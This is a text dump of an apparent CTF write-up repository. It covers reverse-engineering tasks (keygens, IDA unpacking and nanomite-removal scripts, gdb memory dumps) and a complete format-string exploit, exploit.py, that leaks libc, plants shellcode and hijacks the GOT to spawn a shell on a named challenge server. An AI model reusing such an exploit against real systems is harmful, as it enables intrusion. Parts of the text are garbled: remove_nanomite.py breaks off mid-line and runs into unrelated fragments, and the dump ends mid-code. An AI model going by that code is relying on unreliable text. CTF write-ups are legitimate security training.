├── Heap-Heap-Hooray! ├── README.md ├── exploit.py └── images │ ├── checksec.png │ ├── dump.png │ └── vuln.png ├── MSKCTF 2020 └── README.md ├── SPRUSH CTF 2020 └── README.md ├── VolgaCTF2020 └── rev │ └── DotNetMe │ └── README.md ├── X-MAS CTF ├── Discount VMProtect │ ├── README.md │ └── images │ │ ├── 6_main.png │ │ ├── 6_title.png │ │ └── 6_vm.png ├── Don't Jump │ ├── README.md │ ├── fix_dispatch.py │ ├── images │ │ ├── 8_bin_decrypt.png │ │ ├── 8_check_password.png │ │ ├── 8_dispatch.png │ │ ├── 8_dispatch_decompiled.png │ │ ├── 8_title.png │ │ ├── 8_upx_unpacked.png │ │ └── 8_winmain.png │ └── remove_nanomite.py ├── Kernel Crackme │ ├── README.md │ └── images │ │ ├── 5_bigxor.png │ │ ├── 5_client.png │ │ ├── 5_dijn.png │ │ ├── 5_driverentry.png │ │ ├── 5_expand.png │ │ ├── 5_findcrypt.png │ │ ├── 5_initialize.png │ │ ├── 5_read.png │ │ ├── 5_swap.png │ │ ├── 5_title.png │ │ └── 5_xor.png ├── Lapland Mission │ ├── README.md │ └── images │ │ ├── 2_bots_cantkill.png │ │ ├── 2_death.png │ │ ├── 2_disas.png │ │ ├── 2_flag.png │ │ ├── 2_folder.png │ │ ├── 2_game.png │ │ ├── 2_patched.png │ │ ├── 2_title.png │ │ └── bot.png ├── Last Christmas │ ├── README.md │ └── images │ │ ├── 2_bots_cantkill.png │ │ ├── 2_death.png │ │ ├── 2_disas.png │ │ ├── 2_flag.png │ │ ├── 2_folder.png │ │ ├── 2_game.png │ │ ├── 2_patched.png │ │ ├── 2_title.png │ │ ├── 4_algo.png │ │ ├── 4_back_to_image.png │ │ ├── 4_decompiled.png │ │ ├── 4_decryption.png │ │ ├── 4_first_call.png │ │ ├── 4_jmp_r13.png │ │ ├── 4_start.png │ │ ├── 4_start_assembly.png │ │ ├── 4_title.png │ │ ├── 4_unpacked.png │ │ ├── 4_vmmap.png │ │ └── bot.png ├── Reverthable X-Math │ ├── README.md │ └── images │ │ └── 3_title.png ├── Santa's Crackme │ ├── Images │ │ ├── 1_flag.png │ │ ├── 1_main.png │ │ └── 1_title.png │ └── README.md └── Secret Journal │ ├── README.md │ └── images │ ├── 7_check_input.png │ ├── 7_decrypt.png │ ├── 7_decryptor.png │ ├── 7_folder.png │ ├── 7_title.png │ ├── 7_vod.png │ ├── 7_winmain.png │ └── 7_winproc.png ├── aeroctf ├── 1000 and 1 night │ ├── README.md │ └── files.zip ├── Babycrypt │ ├── README.md │ ├── bcry │ ├── note.dat.txt │ └── solver.py └── Ultimate Snake Game │ └── README.md ├── android reversing └── local ctf 2020 │ └── README.md ├── angstromctf ├── misc │ ├── inputter │ │ └── README.md │ └── ws3 │ │ ├── README.md │ │ └── images │ │ └── 678.jpg ├── pwn │ ├── Canary │ │ ├── README.md │ │ └── canary │ └── No Canary │ │ ├── README.md │ │ └── no_canary └── rev │ ├── A Happy Family │ ├── README.md │ └── a_happy_family │ ├── Autorev, Assemble! │ ├── README.md │ └── autorev_assemble │ ├── Califrobnication │ ├── README.md │ └── califrobnication │ ├── Just Rust │ ├── README.md │ └── just_rust.rar │ ├── Masochistic Sudoku │ ├── README.md │ ├── images │ │ └── board.png │ └── masochistic_sudoku │ ├── Patcherman │ ├── README.md │ └── patcherman │ ├── Revving Up │ ├── README.md │ └── revving_up │ ├── Signal of Hope │ ├── README.md │ └── signal_of_hope │ ├── Taking Off │ ├── README.md │ └── taking_off │ └── Windows of Opportunity │ ├── README.md │ └── windows_of_opportunity.rar ├── auctf ├── crypto │ ├── Pretty Ridiculous │ │ └── README.md │ └── Sign Me Up │ │ └── README.md ├── forensics │ └── Animal crossing │ │ └── README.md └── rev │ ├── Chestburster │ └── README.md │ ├── Cracker Barrel │ └── README.md │ ├── Don't Break Me │ └── README.md │ ├── Mr. Game and Watch │ └── README.md │ ├── Plain Jane │ └── README.md │ ├── Purple Socks │ └── README.md │ ├── Sora │ └── README.md │ └── TI-83 Beta │ └── README.md ├── codegate2020 └── Challenge Machine │ ├── README.md │ ├── images │ ├── case1.png │ ├── dispatcher.png │ ├── fetch_input.png │ └── hwbp.png │ ├── simple_machine │ └── vm.h ├── cyberschool ├── 3_ │ └── README.md ├── 4_ │ └── README.md ├── 5_ │ ├── README.md │ └── images │ │ └── 5.png └── rev │ ├── 1 │ ├── 1.asm │ ├── 1.py │ └── README.md │ ├── 2 │ ├── 2.asm │ ├── 2.py │ └── README.md │ ├── 3 │ ├── 3.py │ ├── README.md │ └── Re3.bin │ ├── 4 │ ├── 4.py │ ├── README.md │ ├── Re4.bin │ ├── images │ │ └── shellcode.png │ ├── shellcode │ └── solve.asm │ └── task3 │ └── README.md ├── securinets └── rev │ ├── KAVM │ ├── README.md │ ├── solve-vm.py │ └── task │ ├── change │ └── README.md │ ├── static EYELESS REVENGE │ ├── README.md │ └── task │ ├── static EYELESS │ ├── README.md │ └── task │ └── warmup │ ├── README.md │ └── main ├── utctf ├── pwn │ ├── bof │ │ └── README.md │ └── zurk │ │ └── README.md └── rev │ ├── Crack the Heart │ ├── README.md │ ├── crackme2 │ ├── images │ │ └── dummy_flag.png │ └── run.py │ ├── IR │ ├── README.md │ └── chal.e │ ├── PNG2 │ ├── README.md │ ├── images │ │ ├── flag.png │ │ └── hexdump.png │ └── pic.png2 │ ├── Rhythm Game Vault │ ├── README.md │ └── images │ │ ├── hit.png │ │ ├── impossbile.png │ │ ├── mainwindow.png │ │ ├── perfect.png │ │ └── secret.png │ ├── Securest Vault │ ├── README.md │ ├── UTCTF_VAULT.axf │ └── images │ │ ├── memorymap.png │ │ └── schema.png │ ├── [basics] reverse engineering │ └── README.md │ ├── babymips │ └── README.md │ └── tigress │ └── README.md └── Инженерная подготовка └── MyPinTool.cpp /Heap-Heap-Hooray!/README.md: -------------------------------------------------------------------------------- 1 | # Heap-Heap-Hooray 1000 pts 2 | 3 | ![checksec](images/checksec.png) 4 | 5 | В этом теске нам дан бинарник и либси. В самом бинарнике в функции **list_chunks_content** находится **format string** уязвимость. Но поскольку наш буфер алоцирован в куче, а не на стеке, мы не можем использовать его для записи в любое место памяти. Для этого нужно использовать стековые значения. 6 | 7 | ![vuln](images/vuln.png) 8 | 9 | Решение: 10 | 11 | ![dump](images/dump.png) 12 | 13 | Т.к. мы можем записывать в любую стековую переменную, для получения возможности произвольной записи в памяти, нужно чтобы на стеке лежал нужный для записи адрес. Для этого необходимо, чтобы 2ая-желтая указывала на адрес свободной ячейки на стеке, а 2ая-красная - на адрес свободной ячейки на стеке **+ 2**. Теперь, записывая шортовое значение в 2ую-желтую и 2ую-красную, мы формируем произвольный адрес на стеке, после чего, записывая в эту ячейку, мы получаем возможность произвольной записи. 14 | 15 | Так же со стека достаем адрес **libc**, т.к. либси дана, легко получаем ее **base address**, адрес **system** и адрес **""/bin/sh"**. 16 | 17 | Далее находим регион памяти с **write** и **execute** права и записываем туда шелл код: 18 | 19 | ```assembly 20 | push 0x00000000 21 | push 0x00000000 22 | push &"/bin/sh" 23 | push dummy_return 24 | push &system 25 | ret 26 | ``` 27 | 28 | После чего перезаписываем **exit** в **GOT** адресом нашего шелл кода и при выходе, получаем шелл :) 29 | 30 | ```sh 31 | $ ls 32 | chall 33 | df 34 | flag.txt 35 | glibc2.27x86 36 | $ uname -a 37 | Linux 2a35e26e393f 4.15.0-72-generic #81-Ubuntu SMP Tue Nov 26 12:20:02 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux 38 | $ 39 | ``` 40 | 41 | -------------------------------------------------------------------------------- /Heap-Heap-Hooray!/exploit.py: -------------------------------------------------------------------------------- 1 | import sys 2 | from pwn import * 3 | import re 4 | 5 | STACKBASE = 0 6 | 7 | def info(s): 8 | log.info(s) 9 | 10 | def readAddress(num): 11 | r.sendline('1') 12 | r.sendline('1') 13 | r.sendline('128') 14 | r.sendline('%%%d$p' % num) 15 | r.send('\n') 16 | 17 | r.send('2\n') 18 | d = r.recv(0x4000) + r.recv(0x4000) 19 | data = re.findall('0x\w+', d) 20 | 21 | try: 22 | data = int(data[0], 16) 23 | except Exception as e: 24 | data = -1 25 | r.send('3\n1\n') 26 | return data 27 | 28 | 29 | def writeToParam(num, address): 30 | DESTADDLO = STACKBASE + (num * 4) 31 | DESTADDHI = DESTADDLO + 2 32 | 33 | WRITELO = DESTADDLO & 0xffff 34 | WRITEHI = DESTADDHI & 0xffff 35 | writeLO(15, WRITELO) 36 | writeLO(16, WRITEHI) 37 | 38 | ADDRLO = address & 0xffff 39 | ADDRHI = (address & 0xffff0000) >> 16 40 | writeLO(51, ADDRLO) 41 | writeLO(53, ADDRHI) 42 | 43 | def writeLO(num, value): 44 | r.send('1\n1\n128\n') 45 | r.sendline('%%%du%%%d$hn' % (value, num)) 46 | d = r.recv() 47 | r.send('\n') 48 | d = r.recv() 49 | r.send('2\n') 50 | r.recv() 51 | r.send('3\n1\n') 52 | return data 53 | 54 | def writeValueToAddress(address, value): 55 | writeToParam(11, address) 56 | writeToParam(12, address+2) 57 | 58 | VALLO = value & 0xffff 59 | VALHI = (value & 0xffff0000) >> 16 60 | writeLO(11, VALLO) 61 | writeLO(12, VALHI) 62 | 63 | def exploit(r): 64 | global STACKBASE 65 | info("LEAK STACK ADDRESS") 66 | STACKLEAK = readAddress(15) 67 | STACKBASE = STACKLEAK - (51 * 4) 68 | info("STACKBASE\t: %s" % hex(STACKBASE)) 69 | libc = readAddress(13) 70 | 71 | LIBCBASE = libc - 121765 72 | RET = 0x0804B450 73 | BINSH = LIBCBASE + 0x190EF0 74 | SYSTEM = LIBCBASE + 0x443D0 75 | info("RET\t\t\t: %s" % hex(RET)) 76 | info("LIBCBASE\t: %s" % hex(LIBCBASE)) 77 | info("SYSTEM\t\t: %s" % hex(SYSTEM)) 78 | info("BINSH\t\t: %s" % hex(BINSH)) 79 | writeValueToAddress(RET, 0x0804b000) # overwrite exit in got 80 | writeValueToAddress(0x0804b000, 0x68) # push 0x00000000 81 | writeValueToAddress(0x0804b001, 0x00000000) 82 | writeValueToAddress(0x0804b005, 0x68) # push 0x00000000 83 | writeValueToAddress(0x0804b006, 0x00000000) 84 | writeValueToAddress(0x0804b00A, 0x68) # push &/bin/sh 85 | writeValueToAddress(0x0804b00B, BINSH) 86 | writeValueToAddress(0x0804b00F, 0x68) # push dummy return 87 | writeValueToAddress(0x0804b010, 0x0804B450) 88 | writeValueToAddress(0x0804b014, 0x68) # push &system 89 | writeValueToAddress(0x0804b015, SYSTEM) 90 | writeValueToAddress(0x0804b019, 0xc3) # return 91 | r.interactive() 92 | 93 | if __name__ == "__main__": 94 | if len(sys.argv) > 1: 95 | r = remote('tasks.open.kksctf.ru', 10000) 96 | else: 97 | env = {"LD_PRELOAD": "glibc2.27x86/lib/libc.so.6 glibc2.27x86/lib/libpthread.so.0 glibc2.27x86/lib/ld-linux.so.2"} 98 | r = process('./df', env=env) 99 | exploit(r) 100 | -------------------------------------------------------------------------------- /Heap-Heap-Hooray!/images/checksec.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/Heap-Heap-Hooray!/images/checksec.png -------------------------------------------------------------------------------- /Heap-Heap-Hooray!/images/dump.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/Heap-Heap-Hooray!/images/dump.png -------------------------------------------------------------------------------- /Heap-Heap-Hooray!/images/vuln.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/Heap-Heap-Hooray!/images/vuln.png -------------------------------------------------------------------------------- /VolgaCTF2020/rev/DotNetMe/README.md: -------------------------------------------------------------------------------- 1 | # DotNetMe (34 solves) 2 | 3 | > Don't get confused when solving it! 4 | 5 | The binary is packed with confuser v 1.3. 6 | 7 | Solution: 8 | 9 | Open in dnspy, place bp on first dll call, trace password checking routine. 10 | First it checks `length == 29` 11 | 12 | Then it checks if `len(key.split('-')[i]) == 4` 13 | 14 | So the flag format should be `YYYY-YYYY-YYYY-YYYY-YYYY-YYYY` 15 | 16 | After that it performs xor checksum of all characters in the string and compares the value with 41. 17 | 18 | Then it gets encoded flag, creates new string with out input and encoded flag and checks xor checksum with 74. 19 | 20 | The hard part was to get hardcoded flag, since the binary is packed, dnspy could not show local variables so we basically debugged blindly. 21 | 22 | The way I solved it is by dumping the whole process onto the disk and running `strings -n29 proc.dmp` 23 | 24 | After we get the encoded flag we can write a keygen: 25 | 26 | ```python 27 | 28 | from z3 import * 29 | import string 30 | key = '3cD1Z84acsdf1caEBbfgMeAF0bObA' 31 | alp = string.ascii_lowercase + string.ascii_uppercase + string.digits 32 | flag_len = 29 33 | 34 | 35 | def find_all_posible_solutions(s): 36 | while s.check() == sat: 37 | model = s.model() 38 | block = [] 39 | out = '' 40 | for i in range(flag_len): 41 | c = globals()['b%i' % i] 42 | out += chr(model[c].as_long()) 43 | block.append(c != model[c]) 44 | s.add(Or(block)) 45 | print(out) 46 | 47 | def main(): 48 | s = Solver() 49 | k = 0 50 | for i in range(flag_len): 51 | globals()['b%d' % i] = BitVec('b%d' % i, 32) 52 | c = globals()['b%d' % i] 53 | 54 | if (i + 1) % 5 == 0: 55 | s.add(c == ord('-')) 56 | else: 57 | s.add(Or([c == ord(i) for i in alp])) 58 | k ^= c 59 | 60 | s.add(k == 41) 61 | k = 0 62 | for i in range(flag_len): 63 | c = globals()['b%d' % i] 64 | n = c * ord('*') 65 | v = ((n >> 6) + (n >> 5) & 127) ^ (n + ord(key[i]) & 127) ^ ord(key[flag_len - i - 1]) 66 | k ^= v 67 | 68 | s.add(k == 74) 69 | find_all_posible_solutions(s) 70 | 71 | 72 | 73 | 74 | if __name__ == "__main__": 75 | sys.exit(main()) 76 | 77 | ``` 78 | 79 | 80 | 81 | ``` 82 | $ python3 go.py 83 | vsxs-wvmX-7qD3-66qn-UNro-IXur 84 | nQ8N-BAbl-hcHR-KncK-YfBB-I5OP 85 | nq8N-BAbl-HcHR-KncK-YfBB-I5OP 86 | T3q8-Ordh-OATM-CqqK-MXX9-g0tS 87 | T3Y8-Ordh-OATM-CqqK-MXp9-g0tS 88 | T3Y8-Ordh-OATM-CqqK-MX09-gptS 89 | T3Y8-Ordh-OATM-Cqqk-MX09-gPtS 90 | ABbL-LEkI-pFLG-8lcD-aJ6Z-NBNI 91 | ``` 92 | 93 | -------------------------------------------------------------------------------- /X-MAS CTF/Discount VMProtect/images/6_main.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/X-MAS CTF/Discount VMProtect/images/6_main.png -------------------------------------------------------------------------------- /X-MAS CTF/Discount VMProtect/images/6_title.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/X-MAS CTF/Discount VMProtect/images/6_title.png -------------------------------------------------------------------------------- /X-MAS CTF/Discount VMProtect/images/6_vm.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/X-MAS CTF/Discount VMProtect/images/6_vm.png -------------------------------------------------------------------------------- /X-MAS CTF/Don't Jump/fix_dispatch.py: -------------------------------------------------------------------------------- 1 | import re 2 | import idaapi 3 | import idc 4 | import yara 5 | 6 | rules = """ 7 | rule jumps 8 | { 9 | strings: 10 | $s1 = {E9 00 00 00 00} 11 | 12 | condition: 13 | any of them 14 | } 15 | """ 16 | 17 | align = lambda size, alignment: ((size // alignment) + 1) * alignment 18 | 19 | def patch(dest, seq): 20 | for i, c in enumerate(seq): 21 | idc.PatchByte(dest+i, ord(c)) 22 | 23 | 24 | def patch_inderect_jumps(): 25 | print "patching jumps.." 26 | count = 0 27 | match = list() 28 | for hit in matches: 29 | if hit.rule == 'jumps': 30 | match = hit.strings 31 | for hit in match: 32 | (offset, name, pattern) = hit 33 | print offset, name, pattern 34 | pattern_size = len(pattern) 35 | patch(start + offset, "\x90"*5) 36 | print(hex(start + offset)) 37 | count += 1 38 | print "patched %d jumps!" % count 39 | 40 | if __name__ == "__main__": 41 | start = idc.get_segm_by_sel(10) 42 | print hex(start) 43 | end = idc.get_segm_end(start) 44 | print hex(end) 45 | data = idaapi.get_many_bytes(start, end - start) 46 | matches = yara.compile(source=rules).match(data=data) 47 | #path_jumps_with_constant_condition() 48 | patch_inderect_jumps() 49 | -------------------------------------------------------------------------------- /X-MAS CTF/Don't Jump/images/8_bin_decrypt.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/X-MAS CTF/Don't Jump/images/8_bin_decrypt.png -------------------------------------------------------------------------------- /X-MAS CTF/Don't Jump/images/8_check_password.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/X-MAS CTF/Don't Jump/images/8_check_password.png -------------------------------------------------------------------------------- /X-MAS CTF/Don't Jump/images/8_dispatch.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/X-MAS CTF/Don't Jump/images/8_dispatch.png -------------------------------------------------------------------------------- /X-MAS CTF/Don't Jump/images/8_dispatch_decompiled.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/X-MAS CTF/Don't Jump/images/8_dispatch_decompiled.png -------------------------------------------------------------------------------- /X-MAS CTF/Don't Jump/images/8_title.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/X-MAS CTF/Don't Jump/images/8_title.png -------------------------------------------------------------------------------- /X-MAS CTF/Don't Jump/images/8_upx_unpacked.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/X-MAS CTF/Don't Jump/images/8_upx_unpacked.png -------------------------------------------------------------------------------- /X-MAS CTF/Don't Jump/images/8_winmain.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/X-MAS CTF/Don't Jump/images/8_winmain.png -------------------------------------------------------------------------------- /X-MAS CTF/Don't Jump/remove_nanomite.py: -------------------------------------------------------------------------------- 1 | from __future__ import print_function # PEP 3105 2 | import re 3 | import binascii 4 | import struct 5 | import idaapi 6 | import idc 7 | import yara 8 | 9 | rules = """ 10 | rule nanomite 11 | { 12 | 13 | strings: 14 | $s1 = {EC ??} 15 | 16 | condition: 17 | any of them 18 | } 19 | """ 20 | 21 | 22 | 23 | # max bits > 0 == width of the value in bits (e.g., int_16 -> 16) 24 | 25 | # Rotate left: 0b1001 --> 0b0011 26 | rol = lambda val, r_bits, max_bits: \ 27 | (val << r_bits%max_bits) & (2**max_bits-1) | \ 28 | ((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits))) 29 | 30 | # Rotate right: 0b1001 --> 0b1100 31 | ror = lambda val, r_bits, max_bits: \ 32 | ((val & (2**max_bits-1)) >> r_bits%max_bits) | \ 33 | (val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1)) 34 | 35 | max_bits = 32 # For fun, try 2, 17 or other arbitrary (positive!) values 36 | 37 | 38 | fnc_start = 0x698 # get_seed 39 | fnc_end = 0x8f2 # get_seed 40 | #fnc_start = 0x8F2 # main algo 41 | #fnc_end = 0x12B9 # main algo 42 | 43 | def encode(val): 44 | val = binascii.hexlify(val) 45 | val = long(binascii.hexlify(struct.pack(' 0x40c000: 111 | continue 112 | else: 113 | print(hex(start + fnc_start + offset), hex(struct.unpack("B", number)[0])) 114 | if ins == 0x90: 115 | conditional = "\x90\x90" 116 | else: 117 | conditional = struct.pack("B", ins) + struct.pack("B", jmp_off - 2) 118 | constant = "\xE9" + struct.pack(">> 'X-MAS{060b192f0063cc9ab6361c2329687506f50321d8}\x00Nj\xfc;=TUj\x8c\xe7\x1bYZ+\xb1' 58 | ``` 59 | 60 | 61 | -------------------------------------------------------------------------------- /X-MAS CTF/Kernel Crackme/images/5_bigxor.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/X-MAS CTF/Kernel Crackme/images/5_bigxor.png -------------------------------------------------------------------------------- /X-MAS CTF/Kernel Crackme/images/5_client.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/X-MAS CTF/Kernel Crackme/images/5_client.png -------------------------------------------------------------------------------- /X-MAS CTF/Kernel Crackme/images/5_dijn.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/X-MAS CTF/Kernel Crackme/images/5_dijn.png -------------------------------------------------------------------------------- /X-MAS CTF/Kernel Crackme/images/5_driverentry.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/X-MAS CTF/Kernel Crackme/images/5_driverentry.png -------------------------------------------------------------------------------- /X-MAS CTF/Kernel Crackme/images/5_expand.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/X-MAS CTF/Kernel Crackme/images/5_expand.png -------------------------------------------------------------------------------- /X-MAS CTF/Kernel Crackme/images/5_findcrypt.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/X-MAS CTF/Kernel Crackme/images/5_findcrypt.png -------------------------------------------------------------------------------- /X-MAS CTF/Kernel Crackme/images/5_initialize.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/X-MAS CTF/Kernel Crackme/images/5_initialize.png -------------------------------------------------------------------------------- /X-MAS CTF/Kernel Crackme/images/5_read.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/X-MAS CTF/Kernel Crackme/images/5_read.png -------------------------------------------------------------------------------- /X-MAS CTF/Kernel Crackme/images/5_swap.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/X-MAS CTF/Kernel Crackme/images/5_swap.png -------------------------------------------------------------------------------- /X-MAS CTF/Kernel Crackme/images/5_title.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/X-MAS CTF/Kernel Crackme/images/5_title.png -------------------------------------------------------------------------------- /X-MAS CTF/Kernel Crackme/images/5_xor.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/X-MAS CTF/Kernel Crackme/images/5_xor.png -------------------------------------------------------------------------------- /X-MAS CTF/Lapland Mission/README.md: -------------------------------------------------------------------------------- 1 | X-MAS: Lapland Mission 2 | 3 | ![2_title](images/2_title.png) 4 | 5 | The game is written in Unity Engine. We asked to kill all robots to get the flag, but robots instantly kill us when get in their FOV. 6 | 7 | ![2_game](images/2_game.png) 8 | 9 | ![2_death](images/2_death.png) 10 | 11 | Solution: 12 | 13 | In Unity, every game class is stored in "Data\Managed\Assembly-CSharp.dll". Let's open it in dnSpy. 14 | 15 | ![2_disas](images/2_disas.png) 16 | 17 | Let's open Bot class and change Shoot method for this: 18 | 19 | ![bot](images/bot.png) 20 | 21 | To this: 22 | 23 | ![2_patched](images/2_patched.png) 24 | 25 | Now bots can't kill us and we can easily get the flag:) 26 | 27 | ![2_bots_cantkill](images/2_bots_cantkill.png) 28 | 29 | ![2_flag](images/2_flag.png) 30 | 31 | -------------------------------------------------------------------------------- /X-MAS CTF/Lapland Mission/images/2_bots_cantkill.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/X-MAS CTF/Lapland Mission/images/2_bots_cantkill.png -------------------------------------------------------------------------------- /X-MAS CTF/Lapland Mission/images/2_death.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/X-MAS CTF/Lapland Mission/images/2_death.png -------------------------------------------------------------------------------- /X-MAS CTF/Lapland Mission/images/2_disas.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/X-MAS CTF/Lapland Mission/images/2_disas.png -------------------------------------------------------------------------------- /X-MAS CTF/Lapland Mission/images/2_flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/X-MAS CTF/Lapland Mission/images/2_flag.png -------------------------------------------------------------------------------- /X-MAS CTF/Lapland Mission/images/2_folder.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/X-MAS CTF/Lapland Mission/images/2_folder.png -------------------------------------------------------------------------------- /X-MAS CTF/Lapland Mission/images/2_game.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/X-MAS CTF/Lapland Mission/images/2_game.png -------------------------------------------------------------------------------- /X-MAS CTF/Lapland Mission/images/2_patched.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/X-MAS CTF/Lapland Mission/images/2_patched.png -------------------------------------------------------------------------------- /X-MAS CTF/Lapland Mission/images/2_title.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/X-MAS CTF/Lapland Mission/images/2_title.png -------------------------------------------------------------------------------- /X-MAS CTF/Lapland Mission/images/bot.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/X-MAS CTF/Lapland Mission/images/bot.png -------------------------------------------------------------------------------- /X-MAS CTF/Last Christmas/README.md: -------------------------------------------------------------------------------- 1 | ### Last Christmas 2 | 3 | ![4_title](images/4_title.png) 4 | 5 | ``` bash 6 | root@box:~# file LAST_XMAS 7 | LAST_XMAS: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, no section header 8 | 9 | ``` 10 | 11 | Before we analyze the algorithm we have to unpack the binary. If you look into it in IDA, you might notice that the first function allocates memory, decrypts it and jumps to it via register. 12 | 13 | ![4_start_assembly](images/4_start_assembly.png) 14 | 15 | ![4_first_call](images/4_first_call.png) 16 | 17 | ![4_decompiled](images/4_decompiled.png) 18 | 19 | Let's set breakpoint on **jmp r13** and see there it leads up. 20 | 21 | ![4_jmp_r13](images/4_jmp_r13.png) 22 | 23 | ![4_vmmap](images/4_vmmap.png) 24 | 25 | As we can see **r13** is pointing to newly created 1kb memory region. Let's dump it and open in IDA. 26 | 27 | ``` bash 28 | gdb-peda$ dumpmem shellcode 0x00007ffff7ffa000 0x00007ffff7ffb000 29 | Dumped 4096 bytes to 'shellcode' 30 | ``` 31 | 32 | ![4_decryption](images/4_decryption.png) 33 | 34 | Looks like another layer of decryption. Let's set bp on **jmp qword ptr [r14-8]** and follow it. 35 | 36 | ![4_back_to_image](images/4_back_to_image.png) 37 | 38 | Aaaaand we are back to the image memory region. Now let's dump the image and see what has changed. 39 | 40 | ``` bash 41 | gdb-peda$ vmmap 42 | Start End Perm Name 43 | 0x00400000 0x00401000 r--p mapped 44 | 0x00401000 0x0047d000 r-xp mapped 45 | 0x0047d000 0x004a1000 r--p mapped 46 | 0x004a1000 0x004a2000 ---p mapped 47 | 0x004a2000 0x004a9000 rw-p [heap] 48 | 0x00007ffff7fb7000 0x00007ffff7fb8000 r--p /root/Downloads/LAST_XMAS 49 | 0x00007ffff7fb8000 0x00007ffff7ffa000 rw-p /root/Downloads/LAST_XMAS 50 | 0x00007ffff7ffa000 0x00007ffff7ffb000 r-xp /root/Downloads/LAST_XMAS 51 | 0x00007ffff7ffb000 0x00007ffff7ffe000 r--p [vvar] 52 | 0x00007ffff7ffe000 0x00007ffff7fff000 r-xp [vdso] 53 | 0x00007ffffffde000 0x00007ffffffff000 rw-p [stack] 54 | gdb-peda$ dumpmem unpacked mapped 55 | Dumped 663552 bytes to 'unpacked' 56 | ``` 57 | 58 | Looks like the binary is unpacked. 59 | 60 | ![4_unpacked](images/4_unpacked.png) 61 | 62 | Now let's see the actual algorithm: 63 | 64 | ![4_algo](images/4_algo.png) 65 | 66 | So, what is going on here? We can already notice the flag length - 17 chars. Also the **flag** itself. I have to say that **sub_4010c0** is massive BUT it always returns **0x13**. 67 | 68 | Solution: 69 | 70 | ``` python 71 | data = [0x55, 0x41, 0x83, 0x89, 0x45, 0x00, 0x26, # actual bytes of the function 72 | 0x07, 0x48, 0x9C, 0x96, 0x45, 0x55, 0xE05, 73 | 0xE8, 0x00, 0x00, 0xE8, 0x85, 0x8B, 